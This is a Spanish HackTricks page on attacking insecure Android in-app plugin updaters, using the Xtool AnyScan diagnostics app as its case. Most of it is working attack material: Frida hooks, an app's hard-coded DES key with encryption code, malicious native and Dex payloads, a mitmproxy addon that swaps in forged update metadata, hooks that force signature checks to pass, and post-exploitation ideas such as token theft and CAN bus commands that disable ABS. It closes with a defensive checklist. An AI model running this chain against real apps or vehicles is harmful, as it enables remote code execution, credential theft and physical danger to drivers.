Mecanismos de actualización in-app inseguros – Remote Code Execution via Malicious Plugins

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Muchas aplicaciones Android implementan sus propios canales de actualización “plugin” o “dynamic feature” en lugar de usar Google Play Store. Cuando la implementación es insegura, un atacante capaz de interceptar o manipular el tráfico de actualización puede suministrar código nativo o Dalvik/ART arbitrario que se cargará dentro del proceso de la app, llevando a Remote Code Execution (RCE) total en el dispositivo — y en algunos casos en cualquier dispositivo externo controlado por la app (cars, IoT, medical devices …).

Esta página resume una cadena de vulnerabilidades real encontrada en la app Xtool AnyScan automotive-diagnostics (v4.40.11 → 4.40.40) y generaliza la técnica para que puedas auditar otras apps Android y weaponise la mala configuración durante un red-team engagement.


0. Triado rápido: ¿la app tiene un actualizador in‑app?

Pistas estáticas para buscar en JADX/apktool:

  • Cadenas: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Endpoints de red como /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Helpers criptográficos cerca de rutas de actualización (DES/AES/RC4; Base64; JSON/XML packs).
  • Cargadores dinámicos: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Rutas de unzip que escriben en almacenamiento interno de la app o externo, y luego cargan inmediatamente un .so/DEX.

Hooks en tiempo de ejecución para confirmar:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Identificando un TrustManager TLS inseguro

  1. Descompila el APK con jadx / apktool y localiza la pila de red (OkHttp, HttpUrlConnection, Retrofit…).
  2. Busca un TrustManager o HostnameVerifier personalizado que confíe ciegamente en cualquier certificado:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Si está presente, la aplicación aceptará cualquier certificado TLS → puedes ejecutar un proxy MITM transparente con un self-signed cert:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Si TLS pinning está aplicado en lugar de la lógica insegura trust-all, ver:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Ingeniería inversa de los metadatos de actualización

En el caso de AnyScan, cada lanzamiento de la app desencadena un HTTPS GET a:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

El cuerpo de la respuesta es un documento XML cuyos nodos <FileData> contienen JSON cifrado con DES-ECB y codificado en Base64 que describe cada plugin disponible.

Pasos típicos:

  1. Localiza la rutina criptográfica (p. ej. RemoteServiceProxy) y recupera:
  • algoritmo (DES / AES / RC4 …)
  • modo de operación (ECB / CBC / GCM …)
  • clave/IV codificados en el código (comúnmente constantes DES de 56‑bit o AES de 128‑bit)
  1. Re-implementa la función en Python para descifrar/cifrar los metadatos:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notas observadas en el campo (2023–2025):

  • Metadata suele ser JSON-within-XML o protobuf; los cifrados débiles y las claves estáticas son comunes.
  • Muchos updaters aceptan HTTP sin TLS para la descarga del payload, incluso si metadata se entrega por HTTPS.
  • Los Plugins con frecuencia descomprimen en app-internal storage; algunos todavía usan external storage o el legacy requestLegacyExternalStorage, lo que permite cross-app tampering.

3. Crear un Plugin Malicioso

3.1 Ruta de la biblioteca nativa (dlopen/System.load[Library])

  1. Elige cualquier plugin ZIP legítimo y reemplaza la biblioteca nativa con tu payload:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Actualiza los metadatos JSON para que "FileName" : "PWNED.zip" y "DownloadURL" apunten a tu servidor HTTP.
  2. Re-encripta + codifica en Base64 el JSON modificado y cópialo de nuevo dentro del XML interceptado.

3.2 Ruta de plugin basada en Dex (DexClassLoader)

Algunas apps descargan un JAR/APK y cargan código vía DexClassLoader. Construye un DEX malicioso que se ejecute al cargarse:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Si el objetivo llama a Class.forName("pwn.Dropper") tu inicializador estático se ejecuta; de lo contrario, enumera reflectivamente las clases cargadas con Frida y llama a un método exportado.


4. Entregar el Payload con mitmproxy

addon.py ejemplo que intercambia silenciosamente los metadatos originales:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Ejecute un servidor web simple para alojar el ZIP/JAR malicioso:

bash
python3 -m http.server 8000 --directory ./payloads

Cuando la víctima lanza la app, esta:

  • obtendrá nuestro XML forjado a través del canal MITM;
  • lo descifrará y analizará con la crypto hard-coded;
  • descargará PWNED.zip o plugin.jar → lo descomprimirá dentro del almacenamiento privado;
  • cargará la .so incluida o DEX, ejecutando instantáneamente nuestro código con los permisos de la app (cámara, GPS, Bluetooth, sistema de archivos, …).

Porque el plugin está cached on disk la backdoor persiste a través de reinicios y se ejecuta cada vez que el usuario selecciona la función relacionada.


4.1 Eludir comprobaciones de firma/hash (cuando estén presentes)

Si el updater valida firmas o hashes, hookea la verificación para que siempre acepte contenido del atacante:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

También considere simular métodos del proveedor como PluginVerifier.verifySignature(), checkHash(), o atajar la lógica de control de actualizaciones en Java o JNI.


5. Otras superficies de ataque en los actualizadores (2023–2025)

  • Zip Slip path traversal while extracting plugins: entradas maliciosas como ../../../../data/data/<pkg>/files/target sobrescriben archivos arbitrarios. Siempre sanee las rutas de las entradas y use allow‑lists.
  • External storage staging: si la app escribe el archivo en almacenamiento externo antes de cargarlo, cualquier otra app puede manipularlo. Scoped Storage o almacenamiento interno de la app evita esto.
  • Cleartext downloads: metadata over HTTPS but payload over HTTP → intercambio MITM sencillo.
  • Incomplete signature checks: comparar solo el hash de un único archivo, no de todo el archive; no vincular la firma a la clave del desarrollador; aceptar cualquier clave RSA presente en el archivo.
  • React Native / Web-based OTA content: si los bridges nativos ejecutan JS desde OTA sin firma estricta, es posible la ejecución arbitraria de código en el contexto de la app (p. ej., insecure CodePush-like flows). Asegure detached update signing y una verificación estricta.

6. Ideas de post-explotación

  • Robar cookies de sesión, tokens OAuth, o JWTs almacenados por la app.
  • Dejar un APK de segunda etapa e instalarlo silenciosamente vía pm install si es posible (algunas apps ya declaran REQUEST_INSTALL_PACKAGES).
  • Abusar de cualquier hardware conectado – en el escenario AnyScan puedes enviar comandos arbitrarios OBD‑II / CAN bus (abrir puertas, desactivar ABS, etc.).

Detection & Mitigation Checklist (blue team)

  • Evite la carga dinámica de código y las actualizaciones fuera de la tienda. Prefiera actualizaciones mediadas por Play. Si los plugins dinámicos son un requisito estricto, diseñe los bundles como data‑only y mantenga el código ejecutable en el APK base.
  • Enforce TLS properly: no usar custom trust‑all managers; despliegue pinning donde sea factible y una configuración de seguridad de red endurecida que prohíba tráfico en texto claro.
  • No descargue código ejecutable fuera de Google Play. Si debe hacerlo, use detached update signing (p. ej., Ed25519/RSA) con una clave en poder del desarrollador y verifique antes de cargar. Vincule metadata y payload (longitud, hash, versión) y falle cerrado.
  • Use modern crypto (AES‑GCM) con nonces por mensaje para metadata; elimine claves hard‑coded de los clientes.
  • Valide la integridad de los archivos descargados: verifique una firma que cubra cada archivo, o como mínimo verifique un manifiesto de hashes SHA‑256. Rechace archivos extra/desconocidos.
  • Almacene las descargas en app‑internal storage (o scoped storage en Android 10+) y use permisos de archivo que eviten la manipulación entre apps.
  • Defienda contra Zip Slip: normalice y valide las rutas de las entradas zip antes de la extracción; rechace rutas absolutas o segmentos ...
  • Considere Play “Code Transparency” para permitirle a usted y a los usuarios verificar que el código DEX/nativo enviado coincide con lo que usted compiló (complementa pero no reemplaza la firma del APK).

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks